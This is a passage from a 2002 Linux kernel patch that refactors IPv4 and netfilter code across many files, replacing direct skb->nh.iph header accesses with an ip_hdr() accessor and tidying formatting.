iphdr*)skb_put(skb, sizeof(struct iphdr)); - skb->nh.iph = iph; + iph = ip_hdr(skb) = (struct iphdr*)skb_put(skb, sizeof(struct iphdr)); iph->daddr = daddr; serr = SKB_EXT_ERR(skb); @@ -346,7 +346,7 @@ struct inet_opt *inet = inet_sk(sk); sin->sin_family = AF_INET; - sin->sin_addr.s_addr = skb->nh.iph->saddr; + sin->sin_addr.s_addr = ip_hdr(skb)->saddr; sin->sin_port = 0; memset(&sin->sin_zero, 0, sizeof(sin->sin_zero)); if (inet->cmsg_flags) ===== net/ipv4/ipconfig.c 1.20 vs edited ===== --- 1.20/net/ipv4/ipconfig.c Fri Aug 23 22:47:08 2002 +++ edited/net/ipv4/ipconfig.c Mon Sep 30 19:22:22 2002 @@ -668,7 +668,7 @@ memset(b, 0, sizeof(struct bootp_pkt)); /* Construct IP header */ - skb->nh.iph = h = &b->iph; + h = ip_hdr(skb) = &b->iph; h->version = 4; h->ihl = 5; h->tot_len = htons(sizeof(struct bootp_pkt)); @@ -792,7 +792,7 @@ */ static int __init ic_bootp_recv(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt) { - struct bootp_pkt *b = (struct bootp_pkt *) skb->nh.iph; + struct bootp_pkt *b = (struct bootp_pkt *)ip_hdr(skb); struct iphdr *h = &b->iph; struct ic_device *d; int len; ===== net/ipv4/ipip.c 1.12 vs edited ===== --- 1.12/net/ipv4/ipip.c Fri Jul 19 03:16:19 2002 +++ edited/net/ipv4/ipip.c Mon Sep 30 19:22:22 2002 @@ -467,7 +467,7 @@ static inline void ipip_ecn_decapsulate(struct iphdr *iph, struct sk_buff *skb) { if (INET_ECN_is_ce(iph->tos) && - INET_ECN_is_not_ce(skb->nh.iph->tos)) + INET_ECN_is_not_ce(ip_hdr(skb)->tos)) IP_ECN_set_ce(iph); } @@ -479,7 +479,7 @@ if (!pskb_may_pull(skb, sizeof(struct iphdr))) goto out; - iph = skb->nh.iph; + iph = ip_hdr(skb); skb->mac.raw = skb->nh.raw; skb->nh.raw = skb->data; memset(&(IPCB(skb)->opt), 0, sizeof(struct ip_options)); @@ -533,7 +533,7 @@ u16 df = tiph->frag_off; struct rtable *rt; /* Route to the other host */ struct net_device *tdev; /* Device to other host */ - struct iphdr *old_iph = skb->nh.iph; + struct iphdr *old_iph = ip_hdr(skb); struct iphdr *iph; /* Our new IP header */ int max_headroom; /* The extra header space needed */ u32 dst = tiph->daddr; @@ -632,7 +632,7 @@ * Push down and install the IPIP header. */ - iph = skb->nh.iph; + iph = ip_hdr(skb); iph->version = 4; iph->ihl = sizeof(struct iphdr)>>2; iph->frag_off = df; ===== net/ipv4/ipmr.c 1.9 vs edited ===== --- 1.9/net/ipv4/ipmr.c Wed Mar 13 20:27:38 2002 +++ edited/net/ipv4/ipmr.c Mon Sep 30 19:22:22 2002 @@ -294,7 +294,7 @@ atomic_dec(&cache_resolve_queue_len); while((skb=skb_dequeue(&c->mfc_un.unres.unresolved))) { - if (skb->nh.iph->version == 0) { + if (!ip_hdr(skb)->version) { struct nlmsghdr *nlh = (struct nlmsghdr *)skb_pull(skb, sizeof(struct iphdr)); nlh->nlmsg_type = NLMSG_ERROR; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct nlmsgerr)); @@ -499,7 +499,7 @@ */ while((skb=__skb_dequeue(&uc->mfc_un.unres.unresolved))) { - if (skb->nh.iph->version == 0) { + if (!ip_hdr(skb)->version) { int err; struct nlmsghdr *nlh = (struct nlmsghdr *)skb_pull(skb, sizeof(struct iphdr)); @@ -527,7 +527,7 @@ static int ipmr_cache_report(struct sk_buff *pkt, vifi_t vifi, int assert) { struct sk_buff *skb; - int ihl = pkt->nh.iph->ihl<<2; + int ihl = ip_hdr(pkt)->ihl << 2; struct igmphdr *igmp; struct igmpmsg *msg; int ret; @@ -555,8 +555,9 @@ msg->im_msgtype = IGMPMSG_WHOLEPKT; msg->im_mbz = 0; msg->im_vif = reg_vif_num; - skb->nh.iph->ihl = sizeof(struct iphdr) >> 2; - skb->nh.iph->tot_len = htons(ntohs(pkt->nh.iph->tot_len) + sizeof(struct iphdr)); + ip_hdr(skb)->ihl = sizeof(struct iphdr) >> 2; + ip_hdr(skb)->tot_len = htons(ntohs(ip_hdr(pkt)->tot_len) + + sizeof(struct iphdr)); } else #endif { @@ -565,23 +566,23 @@ * Copy the IP header */ - skb->nh.iph = (struct iphdr *)skb_put(skb, ihl); - memcpy(skb->data,pkt->data,ihl); - skb->nh.iph->protocol = 0; /* Flag to the kernel this is a route add */ - msg = (struct igmpmsg*)skb->nh.iph; - msg->im_vif = vifi; - skb->dst = dst_clone(pkt->dst); + struct iphdr *iph = ip_hdr(skb) = (struct iphdr *)skb_put(skb, ihl); + + memcpy(skb->data, pkt->data, ihl); + iph->protocol = 0; /* Flag to the kernel this is a route add */ + msg = (struct igmpmsg *)iph; + msg->im_vif = vifi; + skb->dst = dst_clone(pkt->dst); /* * Add our header */ igmp=(struct igmphdr *)skb_put(skb,sizeof(struct igmphdr)); - igmp->type = - msg->im_msgtype = assert; - igmp->code = 0; - skb->nh.iph->tot_len=htons(skb->len); /* Fix the length */ - skb->h.raw = skb->nh.raw; + igmp->type = msg->im_msgtype = assert; + igmp->code = 0; + iph->tot_len = htons(skb->len); /* Fix the length */ + skb->h.raw = skb->nh.raw; } if (mroute_socket == NULL) { @@ -610,11 +611,12 @@ { int err; struct mfc_cache *c; + struct iphdr *iph = ip_hdr(skb); spin_lock_bh(&mfc_unres_lock); for (c=mfc_unres_queue; c; c=c->next) { - if (c->mfc_mcastgrp == skb->nh.iph->daddr && - c->mfc_origin == skb->nh.iph->saddr) + if (c->mfc_mcastgrp == iph->daddr && + c->mfc_origin == iph->saddr) break; } @@ -634,9 +636,9 @@ /* * Fill in the new cache entry */ - c->mfc_parent=-1; - c->mfc_origin=skb->nh.iph->saddr; - c->mfc_mcastgrp=skb->nh.iph->daddr; + c->mfc_parent = -1; + c->mfc_origin = iph->saddr; + c->mfc_mcastgrp = iph->daddr; /* * Reflect first query at mrouted. @@ -1083,8 +1085,8 @@ struct iphdr *iph = (struct iphdr *)skb_push(skb,sizeof(struct iphdr)); iph->version = 4; - iph->tos = skb->nh.iph->tos; - iph->ttl = skb->nh.iph->ttl; + iph->tos = ip_hdr(skb)->tos; + iph->ttl = ip_hdr(skb)->ttl; iph->frag_off = 0; iph->daddr = daddr; iph->saddr = saddr; @@ -1094,8 +1096,8 @@ ip_select_ident(iph, skb->dst, NULL); ip_send_check(iph); - skb->h.ipiph = skb->nh.iph; - skb->nh.iph = iph; + skb->h.ipiph = ip_hdr(skb); + ip_hdr(skb) = iph; #ifdef CONFIG_NETFILTER nf_conntrack_put(skb->nfct); skb->nfct = NULL; @@ -1119,7 +1121,7 @@ static void ipmr_queue_xmit(struct sk_buff *skb, struct mfc_cache *c, int vifi, int last) { - struct iphdr *iph = skb->nh.iph; + struct iphdr *iph = ip_hdr(skb); struct vif_device *vif = &vif_table[vifi]; struct net_device *dev; struct rtable *rt; @@ -1183,7 +1185,7 @@ dst_release(skb2->dst); skb2->dst = &rt->u.dst; - iph = skb2->nh.iph; + iph = ip_hdr(skb2); ip_decrease_ttl(iph); /* FIXME: forward and output firewalls used to be called here. @@ -1278,7 +1280,7 @@ * Forward the frame */ for (ct = cache->mfc_un.res.maxvif-1; ct >= cache->mfc_un.res.minvif; ct--) { - if (skb->nh.iph->ttl > cache->mfc_un.res.ttls[ct]) { + if (ip_hdr(skb)->ttl > cache->mfc_un.res.ttls[ct]) { if (psend != -1) ipmr_queue_xmit(skb, cache, psend, 0); psend=ct; @@ -1313,7 +1315,7 @@ if (IPCB(skb)->opt.router_alert) { if (ip_call_ra_chain(skb)) return 0; - } else if (skb->nh.iph->protocol == IPPROTO_IGMP){ + } else if (ip_hdr(skb)->protocol == IPPROTO_IGMP){ /* IGMPv1 (and broken IGMPv2 implementations sort of Cisco IOS <= 11.2(8)) do not put router alert option to IGMP packets destined to routable @@ -1331,7 +1333,7 @@ } read_lock(&mrt_lock); - cache = ipmr_cache_find(skb->nh.iph->saddr, skb->nh.iph->daddr); + cache = ipmr_cache_find(ip_hdr(skb)->saddr, ip_hdr(skb)->daddr); /* * No usable cache entry @@ -1431,7 +1433,7 @@ skb->mac.raw = skb->nh.raw; skb_pull(skb, (u8*)encap - skb->data); - skb->nh.iph = (struct iphdr *)skb->data; + ip_hdr(skb) = (struct iphdr *)skb->data; skb->dev = reg_dev; memset(&(IPCB(skb)->opt), 0, sizeof(struct ip_options)); skb->protocol = __constant_htons(ETH_P_IP); @@ -1498,7 +1500,7 @@ skb->mac.raw = skb->nh.raw; skb_pull(skb, (u8*)encap - skb->data); - skb->nh.iph = (struct iphdr *)skb->data; + ip_hdr(skb) = (struct iphdr *)skb->data; skb->dev = reg_dev; memset(&(IPCB(skb)->opt), 0, sizeof(struct ip_options)); skb->protocol = __constant_htons(ETH_P_IP); @@ -1564,6 +1566,7 @@ if (cache==NULL) { struct net_device *dev; + struct iphdr *iph; int vif; if (nowait) { @@ -1576,11 +1579,11 @@ read_unlock(&mrt_lock); return -ENODEV; } - skb->nh.raw = skb_push(skb, sizeof(struct iphdr)); - skb->nh.iph->ihl = sizeof(struct iphdr)>>2; - skb->nh.iph->saddr = rt->rt_src; - skb->nh.iph->daddr = rt->rt_dst; - skb->nh.iph->version = 0; + iph = ip_hdr(skb) = skb_push(skb, sizeof(*iph)); + iph->ihl = sizeof(*iph) >> 2; + iph->saddr = rt->rt_src; + iph->daddr = rt->rt_dst; + iph->version = 0; err = ipmr_cache_unresolved(vif, skb); read_unlock(&mrt_lock); return err; ===== net/ipv4/raw.c 1.10 vs edited ===== --- 1.10/net/ipv4/raw.c Fri Jul 19 03:16:20 2002 +++ edited/net/ipv4/raw.c Mon Sep 30 19:22:22 2002 @@ -525,7 +525,7 @@ /* Copy the address. */ if (sin) { sin->sin_family = AF_INET; - sin->sin_addr.s_addr = skb->nh.iph->saddr; + sin->sin_addr.s_addr = ip_hdr(skb)->saddr; memset(&sin->sin_zero, 0, sizeof(sin->sin_zero)); } if (inet->cmsg_flags) ===== net/ipv4/route.c 1.19 vs edited ===== --- 1.19/net/ipv4/route.c Thu Aug 29 05:57:05 2002 +++ edited/net/ipv4/route.c Mon Sep 30 19:22:22 2002 @@ -1142,7 +1142,7 @@ static int ip_rt_bug(struct sk_buff *skb) { printk(KERN_DEBUG "ip_rt_bug: %u.%u.%u.%u -> %u.%u.%u.%u, %s\n", - NIPQUAD(skb->nh.iph->saddr), NIPQUAD(skb->nh.iph->daddr), + NIPQUAD(ip_hdr(skb)->saddr), NIPQUAD(ip_hdr(skb)->daddr), skb->dev ? skb->dev->name : "?"); kfree_skb(skb); return 0; ===== net/ipv4/syncookies.c 1.8 vs edited ===== --- 1.8/net/ipv4/syncookies.c Fri May 10 12:38:54 2002 +++ edited/net/ipv4/syncookies.c Mon Sep 30 19:22:22 2002 @@ -60,7 +60,7 @@ NET_INC_STATS_BH(SyncookiesSent); - return secure_tcp_syn_cookie(skb->nh.iph->saddr, skb->nh.iph->daddr, + return secure_tcp_syn_cookie(ip_hdr(skb)->saddr, ip_hdr(skb)->daddr, skb->h.th->source, skb->h.th->dest, ntohl(skb->h.th->seq), jiffies / (HZ * 60), mssind); @@ -79,14 +79,12 @@ */ static inline int cookie_check(struct sk_buff *skb, __u32 cookie) { - __u32 seq; - __u32 mssind; - - seq = ntohl(skb->h.th->seq)-1; - mssind = check_tcp_syn_cookie(cookie, - skb->nh.iph->saddr, skb->nh.iph->daddr, - skb->h.th->source, skb->h.th->dest, - seq, jiffies / (HZ * 60), COUNTER_TRIES); + struct iphdr *iph = ip_hdr(skb); + __u32 seq = ntohl(skb->h.th->seq) - 1; + __u32 mssind = check_tcp_syn_cookie(cookie, iph->saddr, iph->daddr, + skb->h.th->source, skb->h.th->dest, + seq, jiffies / (HZ * 60), + COUNTER_TRIES); return mssind < NUM_MSS ? msstab[mssind] + 1 : 0; } @@ -140,8 +138,8 @@ req->snt_isn = cookie; req->mss = mss; req->rmt_port = skb->h.th->source; - req->af.v4_req.loc_addr = skb->nh.iph->daddr; - req->af.v4_req.rmt_addr = skb->nh.iph->saddr; + req->af.v4_req.loc_addr = ip_hdr(skb)->daddr; + req->af.v4_req.rmt_addr = ip_hdr(skb)->saddr; req->class = &or_ipv4; /* for savety */ req->af.v4_req.opt = NULL; ===== net/ipv4/tcp_ipv4.c 1.23 vs edited ===== --- 1.23/net/ipv4/tcp_ipv4.c Thu Aug 29 05:57:05 2002 +++ edited/net/ipv4/tcp_ipv4.c Mon Sep 30 19:22:22 2002 @@ -526,8 +526,8 @@ static inline __u32 tcp_v4_init_sequence(struct sock *sk, struct sk_buff *skb) { - return secure_tcp_sequence_number(skb->nh.iph->daddr, - skb->nh.iph->saddr, + return secure_tcp_sequence_number(ip_hdr(skb)->daddr, + ip_hdr(skb)->saddr, skb->h.th->dest, skb->h.th->source); } @@ -1184,8 +1184,8 @@ memset(&arg, 0, sizeof arg); arg.iov[0].iov_base = (unsigned char *)&rth; arg.iov[0].iov_len = sizeof rth; - arg.csum = csum_tcpudp_nofold(skb->nh.iph->daddr, - skb->nh.iph->saddr, /*XXX*/ + arg.csum = csum_tcpudp_nofold(ip_hdr(skb)->daddr, + ip_hdr(skb)->saddr, /*XXX*/ sizeof(struct tcphdr), IPPROTO_TCP, 0); arg.n_iov = 1; arg.csumoffset = offsetof(struct tcphdr, check) / 2; @@ -1235,8 +1235,8 @@ rep.th.ack = 1; rep.th.window = htons(win); - arg.csum = csum_tcpudp_nofold(skb->nh.iph->daddr, - skb->nh.iph->saddr, /*XXX*/ + arg.csum = csum_tcpudp_nofold(ip_hdr(skb)->daddr, + ip_hdr(skb)->saddr, /*XXX*/ arg.iov[0].iov_len, IPPROTO_TCP, 0); arg.csumoffset = offsetof(struct tcphdr, check) / 2; @@ -1390,8 +1390,8 @@ { struct tcp_opt tp; struct open_request *req; - __u32 saddr = skb->nh.iph->saddr; - __u32 daddr = skb->nh.iph->daddr; + __u32 saddr = ip_hdr(skb)->saddr; + __u32 daddr = ip_hdr(skb)->daddr; __u32 isn = TCP_SKB_CB(skb)->when; struct dst_entry *dst = NULL; #ifdef CONFIG_SYN_COOKIES @@ -1569,7 +1569,7 @@ newinet->opt = req->af.v4_req.opt; req->af.v4_req.opt = NULL; newinet->mc_index = tcp_v4_iif(skb); - newinet->mc_ttl = skb->nh.iph->ttl; + newinet->mc_ttl = ip_hdr(skb)->ttl; newtp->ext_header_len = 0; if (newinet->opt) newtp->ext_header_len = newinet->opt->optlen; @@ -1595,7 +1595,7 @@ static struct sock *tcp_v4_hnd_req(struct sock *sk, struct sk_buff *skb) { struct tcphdr *th = skb->h.th; - struct iphdr *iph = skb->nh.iph; + struct iphdr *iph = ip_hdr(skb); struct tcp_opt *tp = tcp_sk(sk); struct sock *nsk; struct open_request **prev; @@ -1605,9 +1605,9 @@ if (req) return tcp_check_req(sk, skb, req, prev); - nsk = __tcp_v4_lookup_established(skb->nh.iph->saddr, + nsk = __tcp_v4_lookup_established(ip_hdr(skb)->saddr, th->source, - skb->nh.iph->daddr, + ip_hdr(skb)->daddr, ntohs(th->dest), tcp_v4_iif(skb)); @@ -1629,10 +1629,12 @@ static int tcp_v4_checksum_init(struct sk_buff *skb) { + struct iphdr *iph = ip_hdr(skb); + if (skb->ip_summed == CHECKSUM_HW) { skb->ip_summed = CHECKSUM_UNNECESSARY; - if (!tcp_v4_check(skb->h.th, skb->len, skb->nh.iph->saddr, - skb->nh.iph->daddr, skb->csum)) + if (!tcp_v4_check(skb->h.th, skb->len, iph->saddr, + iph->daddr, skb->csum)) return 0; NETDEBUG(if (net_ratelimit()) @@ -1640,15 +1642,13 @@ skb->ip_summed = CHECKSUM_NONE; } if (skb->len <= 76) { - if (tcp_v4_check(skb->h.th, skb->len, skb->nh.iph->saddr, - skb->nh.iph->daddr, - skb_checksum(skb, 0, skb->len, 0))) + if (tcp_v4_check(skb->h.th, skb->len, iph->saddr, + iph->daddr, skb_checksum(skb, 0, skb->len, 0))) return -1; skb->ip_summed = CHECKSUM_UNNECESSARY; } else { - skb->csum = ~tcp_v4_check(skb->h.th, skb->len, - skb->nh.iph->saddr, - skb->nh.iph->daddr, 0); + skb->csum = ~tcp_v4_check(skb->h.th, skb->len, iph->saddr, + iph->daddr, 0); } return 0; } @@ -1724,6 +1724,7 @@ int tcp_v4_rcv(struct sk_buff *skb) { struct tcphdr *th; + struct iphdr *iph; struct sock *sk; int ret; @@ -1752,17 +1753,17 @@ goto bad_packet; th = skb->h.th; + iph = ip_hdr(skb); TCP_SKB_CB(skb)->seq = ntohl(th->seq); TCP_SKB_CB(skb)->end_seq = (TCP_SKB_CB(skb)->seq + th->syn + th->fin + skb->len - th->doff * 4); TCP_SKB_CB(skb)->ack_seq = ntohl(th->ack_seq); TCP_SKB_CB(skb)->when = 0; - TCP_SKB_CB(skb)->flags = skb->nh.iph->tos; + TCP_SKB_CB(skb)->flags = iph->tos; TCP_SKB_CB(skb)->sacked = 0; - sk = __tcp_v4_lookup(skb->nh.iph->saddr, th->source, - skb->nh.iph->daddr, ntohs(th->dest), - tcp_v4_iif(skb)); + sk = __tcp_v4_lookup(iph->saddr, th->source, iph->daddr, + ntohs(th->dest), tcp_v4_iif(skb)); if (!sk) goto no_tcp_socket; @@ -1814,7 +1815,7 @@ switch (tcp_timewait_state_process((struct tcp_tw_bucket *)sk, skb, th, skb->len)) { case TCP_TW_SYN: { - struct sock *sk2 = tcp_v4_lookup_listener(skb->nh.iph->daddr, + struct sock *sk2 = tcp_v4_lookup_listener(iph->daddr, ntohs(th->dest), tcp_v4_iif(skb)); if (sk2) { ===== net/ipv4/udp.c 1.11 vs edited ===== --- 1.11/net/ipv4/udp.c Fri Jul 19 03:16:20 2002 +++ edited/net/ipv4/udp.c Mon Sep 30 19:22:22 2002 @@ -687,7 +687,7 @@ { sin->sin_family = AF_INET; sin->sin_port = skb->h.uh->source; - sin->sin_addr.s_addr = skb->nh.iph->saddr; + sin->sin_addr.s_addr = ip_hdr(skb)->saddr; memset(sin->sin_zero, 0, sizeof(sin->sin_zero)); } if (inet->cmsg_flags) @@ -904,8 +904,8 @@ struct udphdr *uh; unsigned short ulen; struct rtable *rt = (struct rtable*)skb->dst; - u32 saddr = skb->nh.iph->saddr; - u32 daddr = skb->nh.iph->daddr; + u32 saddr = ip_hdr(skb)->saddr; + u32 daddr = ip_hdr(skb)->daddr; int len = skb->len; IP_INC_STATS_BH(IpInDelivers); ===== net/ipv4/netfilter/arp_tables.c 1.2 vs edited ===== --- 1.2/net/ipv4/netfilter/arp_tables.c Tue Jun 18 03:25:22 2002 +++ edited/net/ipv4/netfilter/arp_tables.c Mon Sep 30 19:41:48 2002 @@ -247,7 +247,7 @@ { static const char nulldevname[IFNAMSIZ] = { 0 }; unsigned int verdict = NF_DROP; - struct arphdr *arp = (*pskb)->nh.arph; + struct arphdr *arp = arp_hdr(*pskb); int hotdrop = 0; struct arpt_entry *e, *back; const char *indev, *outdev; @@ -314,7 +314,7 @@ userdata); /* Target might have changed stuff. */ - arp = (*pskb)->nh.arph; + arp = arp_hdr(*pskb); if (verdict == ARPT_CONTINUE) e = (void *)e + e->next_offset; ===== net/ipv4/netfilter/ip_conntrack_core.c 1.12 vs edited ===== --- 1.12/net/ipv4/netfilter/ip_conntrack_core.c Fri Aug 23 22:34:38 2002 +++ edited/net/ipv4/netfilter/ip_conntrack_core.c Mon Sep 30 19:22:22 2002 @@ -508,7 +508,7 @@ IP_NF_ASSERT(iph->protocol == IPPROTO_ICMP); IP_NF_ASSERT(skb->nfct == NULL); - iph = skb->nh.iph; + iph = ip_hdr(skb); hdr = (struct icmphdr *)((u_int32_t *)iph + iph->ihl); inner = (struct iphdr *)(hdr + 1); datalen = skb->len - iph->ihl*4 - sizeof(*hdr); @@ -680,7 +680,7 @@ for (i=0; i < IP_CT_NUMBER; i++) conntrack->infos[i].master = &conntrack->ct_general; - if (!protocol->new(conntrack, skb->nh.iph, skb->len)) { + if (!protocol->new(conntrack, ip_hdr(skb), skb->len)) { kmem_cache_free(ip_conntrack_cachep, conntrack); return NULL; } @@ -747,9 +747,9 @@ struct ip_conntrack_tuple tuple; struct ip_conntrack_tuple_hash *h; - IP_NF_ASSERT((skb->nh.iph->frag_off & htons(IP_OFFSET)) == 0); + IP_NF_ASSERT((ip_hdr(skb)->frag_off & htons(IP_OFFSET)) == 0); - if (!get_tuple(skb->nh.iph, skb->len, &tuple, proto)) + if (!get_tuple(ip_hdr(skb), skb->len, &tuple, proto)) return NULL; /* look for tuple match */ @@ -810,11 +810,11 @@ if ((*pskb)->pkt_type == PACKET_BROADCAST) { printk("Broadcast packet!\n"); return NF_ACCEPT; - } else if (((*pskb)->nh.iph->daddr & htonl(0x000000FF)) + } else if ((ip_hdr(*pskb)->daddr & htonl(0x000000FF)) == htonl(0x000000FF)) { printk("Should bcast: %u.%u.%u.%u->%u.%u.%u.%u (sk=%p, ptype=%u)\n", - NIPQUAD((*pskb)->nh.iph->saddr), - NIPQUAD((*pskb)->nh.iph->daddr), + NIPQUAD(ip_hdr(*pskb)->saddr), + NIPQUAD(ip_hdr(*pskb)->daddr), (*pskb)->sk, (*pskb)->pkt_type); } #endif @@ -825,17 +825,17 @@ return NF_ACCEPT; /* Gather fragments. */ - if ((*pskb)->nh.iph->frag_off & htons(IP_MF|IP_OFFSET)) { + if (ip_hdr(*pskb)->frag_off & htons(IP_MF | IP_OFFSET)) { *pskb = ip_ct_gather_frags(*pskb); if (!*pskb) return NF_STOLEN; } - proto = ip_ct_find_proto((*pskb)->nh.iph->protocol); + proto = ip_ct_find_proto(ip_hdr(*pskb)->protocol); /* It may be an icmp error... */ - if ((*pskb)->nh.iph->protocol == IPPROTO_ICMP - && icmp_error_track(*pskb, &ctinfo, hooknum)) + if (ip_hdr(*pskb)->protocol == IPPROTO_ICMP && + icmp_error_track(*pskb, &ctinfo, hooknum)) return NF_ACCEPT; if (!(ct = resolve_normal_ct(*pskb, proto,&set_reply,hooknum,&ctinfo))) @@ -848,7 +848,7 @@ IP_NF_ASSERT((*pskb)->nfct); - ret = proto->packet(ct, (*pskb)->nh.iph, (*pskb)->len, ctinfo); + ret = proto->packet(ct, ip_hdr(*pskb), (*pskb)->len, ctinfo); if (ret == -1) { /* Invalid */ nf_conntrack_put((*pskb)->nfct); @@ -857,7 +857,7 @@ } if (ret != NF_DROP && ct->helper) { - ret = ct->helper->help((*pskb)->nh.iph, (*pskb)->len, + ret = ct->helper->help(ip_hdr(*pskb), (*pskb)->len, ct, ctinfo); if (ret == -1) { /* Invalid */ @@ -1216,7 +1216,7 @@ sock_put(sk); } - ip_send_check(skb->nh.iph); + ip_send_check(ip_hdr(skb)); skb->nfcache |= NFC_ALTERED; #ifdef CONFIG_NETFILTER_DEBUG /* Packet path as if nothing had happened. */ ===== net/ipv4/netfilter/ip_conntrack_proto_tcp.c 1.5 vs edited ===== --- 1.5/net/ipv4/netfilter/ip_conntrack_proto_tcp.c Mon Sep 23 00:16:36 2002 +++ edited/net/ipv4/netfilter/ip_conntrack_proto_tcp.c Mon Sep 30 19:22:22 2002 @@ -234,7 +234,7 @@ static int tcp_exp_matches_pkt(struct ip_conntrack_expect *exp, struct sk_buff **pskb) { - struct iphdr *iph = (*pskb)->nh.iph; + struct iphdr *iph = ip_hdr(*pskb); struct tcphdr *tcph = (struct tcphdr *)((u_int32_t *)iph + iph->ihl); unsigned int datalen; ===== net/ipv4/netfilter/ip_conntrack_standalone.c 1.9 vs edited ===== --- 1.9/net/ipv4/netfilter/ip_conntrack_standalone.c Mon Aug 19 15:41:51 2002 +++ edited/net/ipv4/netfilter/ip_conntrack_standalone.c Mon Sep 30 19:22:22 2002 @@ -217,7 +217,7 @@ { /* root is playing with raw sockets. */ if ((*pskb)->len < sizeof(struct iphdr) - || (*pskb)->nh.iph->ihl * 4 < sizeof(struct iphdr)) { + || ip_hdr(*pskb)->ihl * 4 < sizeof(struct iphdr)) { if (net_ratelimit()) printk("ipt_hook: happy cracking.\n"); return NF_ACCEPT; ===== net/ipv4/netfilter/ip_fw_compat.c 1.10 vs edited ===== --- 1.10/net/ipv4/netfilter/ip_fw_compat.c Mon Aug 19 15:51:30 2002 +++ edited/net/ipv4/netfilter/ip_fw_compat.c Mon Sep 30 19:22:22 2002 @@ -101,7 +101,7 @@ (struct net_device *)in, (*pskb)->nh.raw, &redirpt, pskb); - if ((*pskb)->nh.iph->frag_off & htons(IP_MF|IP_OFFSET)) { + if (ip_hdr(*pskb)->frag_off & htons(IP_MF | IP_OFFSET)) { *pskb = ip_ct_gather_frags(*pskb); if (!*pskb) @@ -147,7 +147,7 @@ * Generally, routing is THE FIRST thing to make, when * packet enters IP stack. Before packet is routed you * cannot call any service routines from IP stack. */ - struct iphdr *iph = (*pskb)->nh.iph; + struct iphdr *iph = ip_hdr(*pskb); if ((*pskb)->dst != NULL || ip_route_input(*pskb, iph->daddr, iph->saddr, iph->tos, @@ -165,7 +165,7 @@ } else if (hooknum == NF_IP_POST_ROUTING) { check_for_unredirect(*pskb); /* Handle ICMP errors from client here */ - if ((*pskb)->nh.iph->protocol == IPPROTO_ICMP + if (ip_hdr(*pskb)->protocol == IPPROTO_ICMP && (*pskb)->nfct) check_for_masq_error(*pskb); } ===== net/ipv4/netfilter/ip_fw_compat_masq.c 1.4 vs edited ===== --- 1.4/net/ipv4/netfilter/ip_fw_compat_masq.c Tue Mar 26 20:16:27 2002 +++ edited/net/ipv4/netfilter/ip_fw_compat_masq.c Mon Sep 30 19:22:22 2002 @@ -35,7 +35,7 @@ unsigned int do_masquerade(struct sk_buff **pskb, const struct net_device *dev) { - struct iphdr *iph = (*pskb)->nh.iph; + struct iphdr *iph = ip_hdr(*pskb); struct ip_nat_info *info; enum ip_conntrack_info ctinfo; struct ip_conntrack *ct; @@ -123,7 +123,7 @@ check_for_demasq(struct sk_buff **pskb) { struct ip_conntrack_tuple tuple; - struct iphdr *iph = (*pskb)->nh.iph; + struct iphdr *iph = ip_hdr(*pskb); struct ip_conntrack_protocol *protocol; struct ip_conntrack_tuple_hash *h; enum ip_conntrack_info ctinfo; @@ -157,7 +157,7 @@ /* Fall thru... */ case IPPROTO_TCP: case IPPROTO_UDP: - IP_NF_ASSERT(((*pskb)->nh.iph->frag_off & htons(IP_OFFSET)) == 0); + IP_NF_ASSERT(!(ip_hdr(*pskb)->frag_off & htons(IP_OFFSET))); if (!get_tuple(iph, (*pskb)->len, &tuple, protocol)) { if (net_ratelimit()) ===== net/ipv4/netfilter/ip_fw_compat_redir.c 1.5 vs edited ===== --- 1.5/net/ipv4/netfilter/ip_fw_compat_redir.c Wed Feb 13 22:36:31 2002 +++ edited/net/ipv4/netfilter/ip_fw_compat_redir.c Mon Sep 30 19:22:22 2002 @@ -95,7 +95,7 @@ static void do_tcp_redir(struct sk_buff *skb, struct redir *redir) { - struct iphdr *iph = skb->nh.iph; + struct iphdr *iph = ip_hdr(skb); struct tcphdr *tcph = (struct tcphdr *)((u_int32_t *)iph + iph->ihl); @@ -135,7 +135,7 @@ /* `unredir' a reply packet. */ static void do_tcp_unredir(struct sk_buff *skb, struct redir *redir) { - struct iphdr *iph = skb->nh.iph; + struct iphdr *iph = ip_hdr(skb); struct tcphdr *tcph = (struct tcphdr *)((u_int32_t *)iph + iph->ihl); @@ -167,7 +167,7 @@ const struct net_device *dev, u_int16_t redirpt) { - struct iphdr *iph = skb->nh.iph; + struct iphdr *iph = ip_hdr(skb); u_int32_t newdst; /* Figure out address: not loopback. */ @@ -253,7 +253,7 @@ void check_for_redirect(struct sk_buff *skb) { - struct iphdr *iph = skb->nh.iph; + struct iphdr *iph = ip_hdr(skb); struct tcphdr *tcph = (struct tcphdr *)((u_int32_t *)iph + iph->ihl); struct redir *redir; @@ -281,7 +281,7 @@ void check_for_unredirect(struct sk_buff *skb) { - struct iphdr *iph = skb->nh.iph; + struct iphdr *iph = ip_hdr(skb); struct tcphdr *tcph = (struct tcphdr *)((u_int32_t *)iph + iph->ihl); struct redir *redir; ===== net/ipv4/netfilter/ip_nat_core.c 1.14 vs edited ===== --- 1.14/net/ipv4/netfilter/ip_nat_core.c Wed Aug 28 04:54:31 2002 +++ edited/net/ipv4/netfilter/ip_nat_core.c Mon Sep 30 19:22:22 2002 @@ -739,7 +739,7 @@ int ret = 1; MUST_BE_READ_LOCKED(&ip_conntrack_lock); - proto = ip_ct_find_proto((*pskb)->nh.iph->protocol); + proto = ip_ct_find_proto(ip_hdr(*pskb)->protocol); if (proto->exp_matches_pkt) ret = proto->exp_matches_pkt(exp, pskb); @@ -757,7 +757,7 @@ unsigned int i; struct ip_nat_helper *helper; enum ip_conntrack_dir dir = CTINFO2DIR(ctinfo); - int is_tcp = (*pskb)->nh.iph->protocol == IPPROTO_TCP; + int is_tcp = ip_hdr(*pskb)->protocol == IPPROTO_TCP; /* Need nat lock to protect against modification, but neither conntrack (referenced) and helper (deleted with @@ -784,8 +784,8 @@ ? "SRC" : "DST", NIPQUAD(info->manips[i].manip.ip), htons(info->manips[i].manip.u.all)); - manip_pkt((*pskb)->nh.iph->protocol, - (*pskb)->nh.iph, + manip_pkt(ip_hdr(*pskb)->protocol, + ip_hdr(*pskb), (*pskb)->len, &info->manips[i].manip, info->manips[i].maniptype, @@ -803,8 +803,8 @@ DEBUGP("do_bindings: helper existing for (%p)\n", ct); /* Always defragged for helpers */ - IP_NF_ASSERT(!((*pskb)->nh.iph->frag_off - & __constant_htons(IP_MF|IP_OFFSET))); + IP_NF_ASSERT(!(ip_hdr(*pskb)->frag_off & + htons(IP_MF | IP_OFFSET))); /* Have to grab read lock before sibling_list 